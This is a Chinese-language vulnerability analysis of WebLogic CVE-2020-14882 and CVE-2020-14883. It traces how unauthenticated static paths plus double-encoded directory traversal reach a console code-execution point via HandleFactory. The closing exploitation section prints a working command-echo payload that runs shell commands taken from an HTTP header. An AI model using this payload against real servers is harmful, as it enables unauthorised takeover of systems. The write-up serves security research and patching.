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WebLogic one GET request RCE分析（CVE-2020-14882+CVE-2020-14883）

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作者：Lucifaer、Hu3sky@360CERT

该漏洞其实是月初就分析完的，但是因为各种事情没有时间将其总结成文本所以拖到今天。本文主要是和@Hu3sky共同分析结果的记录，同时也是对CVE-2020-14882：Weblogic Console 权限绕过深入解析的一些补充。

这个漏洞想要挖掘出来真的挺难的，其利用的过程相当精彩，值得学习。

 

0x01 漏洞概述

Weblogic官方在10月补丁中修复了CVE-2020-14882及CVE-2020-14883两个漏洞，这两个漏洞都位于Weblogic Console及控制台组件中，两个漏洞组合利用允许远程攻击者通过http进行网络请求，从而攻击Weblogic服务器，最终远程攻击者可以利用该漏洞在未授权的情况下完全接管Weblogic服务器。

在经过diff后，可以定位到漏洞触发点：

CVE-2020-14883:com.bea.console.handles.HandleFactory

CVE-2020-14882:com.bea.console.utils.MBeanUtilsInitSingleFileServlet

这里先把结论放出来：

  • CVE-2020-14882：这个漏洞起到的作用可以简单理解为目录穿越使Netuix渲染后台页面
  • CVE-2020-14883：为登录后的一处代码执行点

 

0x02 漏洞分析

该漏洞分为三部分：

  • 路由鉴权
  • Netuix框架完成执行流转换
  • HandleFactory完成代码执行

前两部分为CVE-2020-14882，后面一部分为CVE-2020-14883。本文将从上而下将三部分进行串流分析，主要采用动态跟踪。

2.1 路由鉴权

在具体分析路由鉴权前，需要先要寻找一下处理路由的servlet是哪个。

2.1.1 寻找处理路由的servlet

Weblogicconsole组件对应着Weblogic Server启动后的管理平台（即/console路由所对应的组件），其对应着一个webapp，所以想要理清路由所对应的servlet映射关系，就需要去看一下相关的配置文件。配置文件为wlserver/server/lib/consoleapp/webapp/WEB-INF/web.xml。

正常登录后的路由情况为：

会访问一个console.portal文件，对应在web.xml中看一下相关的路由处理情况：

可以看到对应的servlet为AppManagerServlet：

所以先在AppManagerServlet下断调试一下路径鉴权或者说是权限鉴定的流程。

跟进一下初始化流程：

weblogic.servlet.AsyncInitServlet#init ->
weblogic.servlet.AsyncInitServlet#initDelegate ->
weblogic.servlet.AsyncInitServlet#createDelegate

这里的this.SERVLET_CLASS_NAME也就是xml中的：

所以初始化过程实际上是实例化了com.bea.console.utils.MBeanUtilsInitSingleFileServlet，并调用其init()方法，跟进看一下其所对应的处理方法：

注意红框所标识的内容，oracle针对CVE-2020-14882的修补也是在这里针对url加了一个黑名单，并过了一遍黑名单：

继续跟进父类SingleFileServlet的server中：

在完成AppContext初始化后，即进入真的处理请求的UIServlet：

在此处完成后续的请求处理。

2.1.2 路由映射及路由权限校验

在这里我们先不向后跟进，在此处下个断点向上跟踪一下，看一下Weblogic路由映射及路由鉴权在哪里触发。调用栈如下：

可以看到在weblogic.servlet.internal.WebAppServletContext中完成的权限校验。跟进具体看一下：

在weblogic.servlet.internal.WebAppServletContext#doSecuredExecute方法的流程中会调用checkAccess方法来进行权限校验，跟进看一下：

当首次请求进入后checkAllResources变量为false，所以跟进getConstraint方法：

这里的constraintsMap中保存着一份路由表：

这份路由表对应的是web.xml中的security-constraint：

注意在针对/的路由处理是限定了需要经过认证的，而针对：

  • /images/*
  • /common/*
  • /css/*

路径的访问是没有认证约束的。对应到代码中，就是说当访问的路由符合该路由映射表中的情况时，将根据配置设置rcForAllMethods变量，也就是最终返回的resourceConstraint:

这里的unrestricted变量代表该路由是否为非受限路由，在后续鉴权时该变量会起关键性作用。当请求的路由是路由表中的路由时，该变量都为true。当完成resourceConstraint设置后，就会进入isAuthorized方法进行权限鉴定：

这里将执行流转换到CertSecurityModule#checkUserPerm方法中：

首先会根据session来确定是否需要重新登录，之后会判断是否为指定路由，如果是未指定的路由，则保护资源，由于我们这里访问的路由为/css，在指定的路由表中，所以这里是false。重点看hasPermission方法，这里会用到resourceConstraint中的unrestricted：

这里首先会判断当前的账户是否为Admin账户，当前应用是否为内部引用等，若都不满足，则会判断是否设置了完整安全路由选项，这里是false。接下来会判断该路由是否为非受限的路由，如果是，则返回true。由于我们根据路由表返回设置的unrestricted变量为true，即为非受限的路由，所以这样就通过了路由鉴权，导致了未授权访问相关资源。

2.1.3 请求分派

当完成了路由鉴权后，会根据web.xml中的设置，将访问的路由映射到相应的servlet进行请求处理：

因为我们后续的流程在UIServlet中进行，所以可以用于绕过路由鉴权的路由即为：

  • /css/*
  • /images/*

当checkAccess方法返回为true后，会根据配置返回对应的servlet并调用service方法。

首先会初始化ServletInvocationAction对象：

从subject.run(action)一路向下跟，在weblogic.security.acl.internal.AuthenticatedSubject#doAs中调用action的run方法，即跟进ServletInvocationAction#run：

在调用execute方法前，会首先判断是否存在拦截器及请求监听器，若存在则执行对应的拦截器执行链，否则执行stub.execute()方法。跟进stub.execute()方法，即weblogic.servlet.internal.ServletStubImpl#execute：

这里会调用getServlet()方法返回对应的servlet：

2.1.3 总结

从上面的分析可知，想要访问非受限的资源，就需要构造符合路由表中的路由。从此我们也可以看出这里并非一个权限绕过操作，而是一个正常的访问非受限资源（如css文件这类资源）的操作，想要搞清楚为什么能因此而触发一个登陆后代码执行操作，就需要跟进UIServlet的具体处理流程中。

2.2 Netuix框架完成执行流转换

weblogic.servlet.AsyncInitServlet为处理Netuix相关请求的servlet，根据2.1.1中的分析，我们可以知道其真实的处理逻辑是在com.bea.netuix.servlets.manager.UIServlet中完成的：

对于UIServlet来说，处理GET请求的逻辑最终也会在doPost方法中。上图红框中所标明的两处即为UIServlet的核心功能：

  • 建立UIContext，或者说是通过解析.portal文件建立渲染模板的上下文
  • 完成模板渲染的生命周期

接下来也会以这两点为核心具体叙述Netuix框架是如何完成执行流的转换的。

2.2.1 建立UIContext

建立UIContext的主要流程在createUIContext方法中：

红框所标注的两行为关键流程。首先跟进UIContextFactory.createUIContext，这里主要完成了UIContext的初始化：

在执行setServletRequest方法时，会根据请求的参数对postback成员变量进行设置：

可以看到：

  • 请求类型为POST请求，会将postback设置为true
  • 存在_nfpb参数的GET请求，会根据参数的值设置postback的值

postback变量在后续执行UIContext生命周期时会对流程产生影响。这里先记一下。

完成UIContext的初始化过程后，接下来就是解析.portal文件，将解析结果填充到UIContext中。这一部分的流程在getTree()方法中：

这里有一个需要注意的点，这里会对请求的路径进行二次URLDecode，这也就是为什么构造的poc是需要二次URL编码的原因。

跟进processStream()方法，具体的解析逻辑就在这里：

可以看到经过二次URLDecode后的请求路径在此造成了目录穿越的效果。

com.bea.netuix.servlets.manager.SingleFileProcessor#getMergedControlFromFile中首先会初始化SAX解析器，然后根据传入的文件路径获取到对应的.portal文件，并利用SAX解析器解析该.portal文件：

getMergedControlFromFile()方法最终会调用getSourceFromDisk()方法根据传入的路径获取consoleapp/webapp目录下相应的文件即：

  • console.portal
  • consolejndi.portal

在利用SAX解析器解析完该portal文件后，生成语法树，也就是getTree()返回的ControlTreeRoot对象，并将语法树置入UIContext中。

至此就完成了UIContext的初始化流程。

2.2.2 完成模板渲染的生命周期

在完成了UIContext初始化流程之后，便会调用runLifecycle()方法运行生命周期，开始根据请求参数完成模板渲染。

跟进runLifecycle()：

在com.bea.netuix.nf.Lifecycle#run中，需要注意这个条件判断，这里会影响到后面的流程调用。

根据2.2.1中的分析我们知道当GET请求存在_nfpb参数时，会根据参数的值设置postback的值，outbound值默认为false。

而postback值只会影响是否会执行runInbound()流程。在具体跟踪了runInbound()流程后，可以发现其处理逻辑是相同的：

而关键点就在其VisitorType是不同的，这会在processLifecycles()流程中影响具体的节点遍历顺序：

在com.bea.netuix.nf.Lifecycle中，我们可以看到inbound与outbound的区别：

各VisitorType具体配置为：

所以由postback会衍生出两种不同的执行流。

2.2.3 Netuix生命周期及控件间的关系

在具体跟进两种执行流前，首先介绍一下Netuix的解析流程，在其官方介绍页面上有对生命周期方法执行顺序及netuix控件解析流程的详细描述，这里将其内容简要总结一下。

Netuix控件树的生命周期其实就是按顺序所执行的一组方法，这组方法的执行顺序如下：

init()
loadState()
handlePostbackData()
raiseChangeEvents()
preRender() 
saveState()
render()  
dispose()

其中的方法与上面所看到的inbound与outbound相同。这些方法在节点间是以深度优先的方式执行，即按照顺序会执行所有控件的init()，之后才会重新遍历执行loadState()方法。

在说完了每个控件的生命周期后，再来说一下控件间的关系：

根据这张表我们来对应看一下consolejndi.portal：

红框所标注的区域是完美符合上表所描述的关系的。向上寻找Portlet，看加载了哪些外部控件：

跟进该文件：

这里调用了strutsContent控件，同时标注了具体的action为MessagesAction。可以通过该action在struts-config.xml中找到其所对应的类：

2.2.4 总结

通过上面的分析，可以看到Netuix将执行流从模板渲染转换到其各个组件的渲染之中。所以最终触发代码执行的只和组件的生命周期有关，即只和节点有关。

在经过分析后，我列举三个最通用的组件：

  • strutsConent
  • Page
  • Portlet

由于无论postback为何值，最终都会执行outbound流程，所以接下来对于组件生命周期的分析，我都以outbound流程来说明。

2.3 条条大路通罗马——HandleFactory完成代码执行

根据上面的分析，outbound的生命周期为：

preRender() 
saveState()
render()

所以首先执行的方法是preRender，跟进看一下com.bea.netuix.nf.ControlTreeWalker#walk：

ControlVisitor visit = root.getVisitorForLifecycle(vt);这里将获取ControlLifecycle.preRenderVisitor以深度优先的方式遍历所有节点，并调用visit()方法。跟进看一下com.bea.netuix.nf.ControlVisitor#visit：

就如上面所说，关键逻辑还是调用传入控件的preRender()方法。接下来就会按照2.2.3中的所介绍的控件间关系进行深度遍历，在遍历到不同组件时会利用不同的方式触发代码执行流程。

2.3.1 strutsContent

以consolejndi.portal为例，当节点为portletInstance时，会触发外部组件调用，及会跟进该文件，解析Content节点：

此处处理的节点为strutsContent，即control为strutsContent。跟进com.bea.netuix.servlets.controls.content.StrutsContent#preRender方法：

没有相关的方法，跟进其父类com.bea.netuix.servlets.controls.content.NetuiContent#preRender：

this.getScopedContentStub()调用栈如下：

com.bea.netuix.servlets.controls.content.StrutsContent#getScopedContentStub ->
com.bea.netuix.servlets.controls.content.StrutsContent.StrutsContentUrlRewriter初始化 ->
com.bea.portlet.adapter.scopedcontent.AdapterFactory#getInstance(com.bea.struts.adapter.util.rewriter.StrutsURLRewriter)

最终通过适配工厂返回一个StrutsStubImpl：

所以跟进com.bea.portlet.adapter.scopedcontent.StrutsStubImpl#render：

在renderInternal()方法中，完成内部渲染的工作，包括：

  • 初始化Action及其servlet，并设置解析器，最终调用executeAction执行
  • 初始化并设置请求监听器，完成请求接收

跟进executeAction()方法：

这里会调用PageFlowUtils#strutsLookup方法，该方法最终将会触发负责处理针对Action请求的servlet的doGet方法，调用链如下：

com.bea.portlet.adapter.scopedcontent.framework.PageFlowUtils#strutsLookup
    com.bea.portlet.adapter.scopedcontent.framework.PageFlowUtils#getInstance
    com.bea.portlet.adapter.scopedcontent.framework.PageFlowUtils#instantiateStrutsDelegate
com.bea.portlet.adapter.scopedcontent.framework.internal.PageFlowUtilsBeehiveDelegate#strutsLookupInternal
org.apache.beehive.netui.pageflow.PageFlowUtils#strutsLookup(javax.servlet.ServletContext, javax.servlet.ServletRequest, javax.servlet.http.HttpServletResponse, java.lang.String, java.lang.String[])
org.apache.beehive.netui.pageflow.PageFlowUtils#strutsLookup(javax.servlet.ServletContext, javax.servlet.ServletRequest, javax.servlet.http.HttpServletResponse, java.lang.String, java.lang.String[], boolean)

这里有两个点需要注意，第一个点是获取ActionServlet的过程，这一部分其实并不需要去跟踪代码，可以通过直接看web.xml找到：

关于AsyncInitServlet的初始化流程在2.1.1中有详细的跟踪，这里就不赘述了。这里可以看出真正的处理逻辑在com.bea.console.internal.ConsoleActionServlet中，直接跟进看com.bea.console.internal.ConsoleActionServlet#doGet:

一路向下跟进，调用栈如下：

org.apache.struts.action.ActionServlet#process ->
com.bea.console.internal.ConsoleActionServlet#process ->
org.apache.beehive.netui.pageflow.PageFlowActionServlet#process ->
org.apache.beehive.netui.pageflow.AutoRegisterActionServlet#process ->
org.apache.beehive.netui.pageflow.PageFlowRequestProcessor#process ->
org.apache.beehive.netui.pageflow.PageFlowRequestProcessor#processInternal ->
org.apache.struts.action.RequestProcessor#process ->
com.bea.console.internal.ConsolePageFlowRequestProcessor#processActionPerform ->
com.bea.console.utils.HandleUtils#getHandleContextFromRequest ->
com.bea.console.utils.HandleUtils#handleFromQueryString

重点看一下com.bea.console.utils.HandleUtils#handleFromQueryString：

首先会将请求的参数进行解析，并映射到Map中，之后遍历所有的参数，当参数以handle结尾，则将其转换为Handle类型的对象。所以跟踪流程到com.bea.console.handles.HandleConverter#convert：

这里会将请求中以handle结尾的参数值作为local，直接传入HandleFactory.getHandle()方法中，在该方法中将传入的参数值进行处理，直接完成反射实例化操作：

2.3.2 page

当解析Page组件时，control.preRender()实际将会调用com.bea.netuix.servlets.controls.page.Page#preRender：

接下来就是一路向上，调用父类的preRender方法，调用栈如下：

com.bea.netuix.servlets.controls.page.Page#preRender ->
com.bea.netuix.servlets.controls.window.Window#preRender ->
com.bea.netuix.servlets.controls.AdministeredBackableControl#preRender ->
com.bea.netuix.servlets.controls.Backable.Impl#preRender

在com.bea.netuix.servlets.controls.Backable.Impl#preRender中将会获取jspbacking，并调用其preRender方法：

以consolejndi.portal为例，其中的一个page组件描述如下：

此处会根据book组件中所定义的title获取其backingFile的具体引用，在这里为com.bea.console.utils.JndiViewerBackingFile：

接下来的调用栈为：

com.bea.console.utils.GeneralBackingFile#preRender ->
com.bea.console.utils.GeneralBackingFile#localizeTitle(com.bea.netuix.servlets.controls.window.backing.WindowBackingContext, javax.servlet.http.HttpServletRequest) ->
com.bea.console.utils.GeneralBackingFile#getDisplayName ->
com.bea.console.utils.HandleUtils#getHandleContextFromRequest

调用至此已经和2.3.1中提到的调用路径相同了，在此不再赘述。

2.3.3 portlet

portlet组件执行流与page组件基本完全相同，唯一区别点在于backingFile不同。以consolejndi.portal为例：

引用外部组件，跟进jnditree.portlet：

跟进看一下：

调用父类com.bea.console.utils.PortletBackingFile#preRender，同样，都会调用父类的localizeTitle()方法：

这里也会调用com.bea.console.utils.GeneralBackingFile#localizeTitle，之后的流程与2.3.2中的流程完全相同。

2.3.4 总结

根据以上分析，我们可以看到除了strutsContent外，其他几种组件的应用方式都比较类似，关键点为两个：

  • 组件的preRender流程中会调用到Backable#preRender方法
  • backingFile为GeneralBackingFile子类，同时其preRender方法会调用父类localizeTitle方法

想要寻找其他的组件可以看一下继承树：

红框所标注的即为2.3.2与2.3.3中所分析到的调用过程。

 

0x03 漏洞利用

经过0x02的分析，我们不难看出该漏洞和其他传统的越权漏洞是有很大区别的：

  1. 所谓的认证绕过是通过请求原本无需认证的资源路径
  2. 在1的基础上利用../造成目录穿越，使Netuix在初始化语法树时读取对应的后台模板文件
  3. 在Netuix生命周期中通过组件对应的处理流程触发Handle流程
  4. 组件处理流程中会将请求中以handle结尾的参数的值作为参数传入HandleFactory#getHandle方法中，完成反射调用

所以利用方式也显而易见，这里利用@77ca1k1k1的poc做展示：

poc：

com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')

 

0x04 Reference

https://docs.oracle.com/cd/E13218_01/wlp/docs81/whitepapers/netix/body.html

@77ca1k1k1关于回显的研究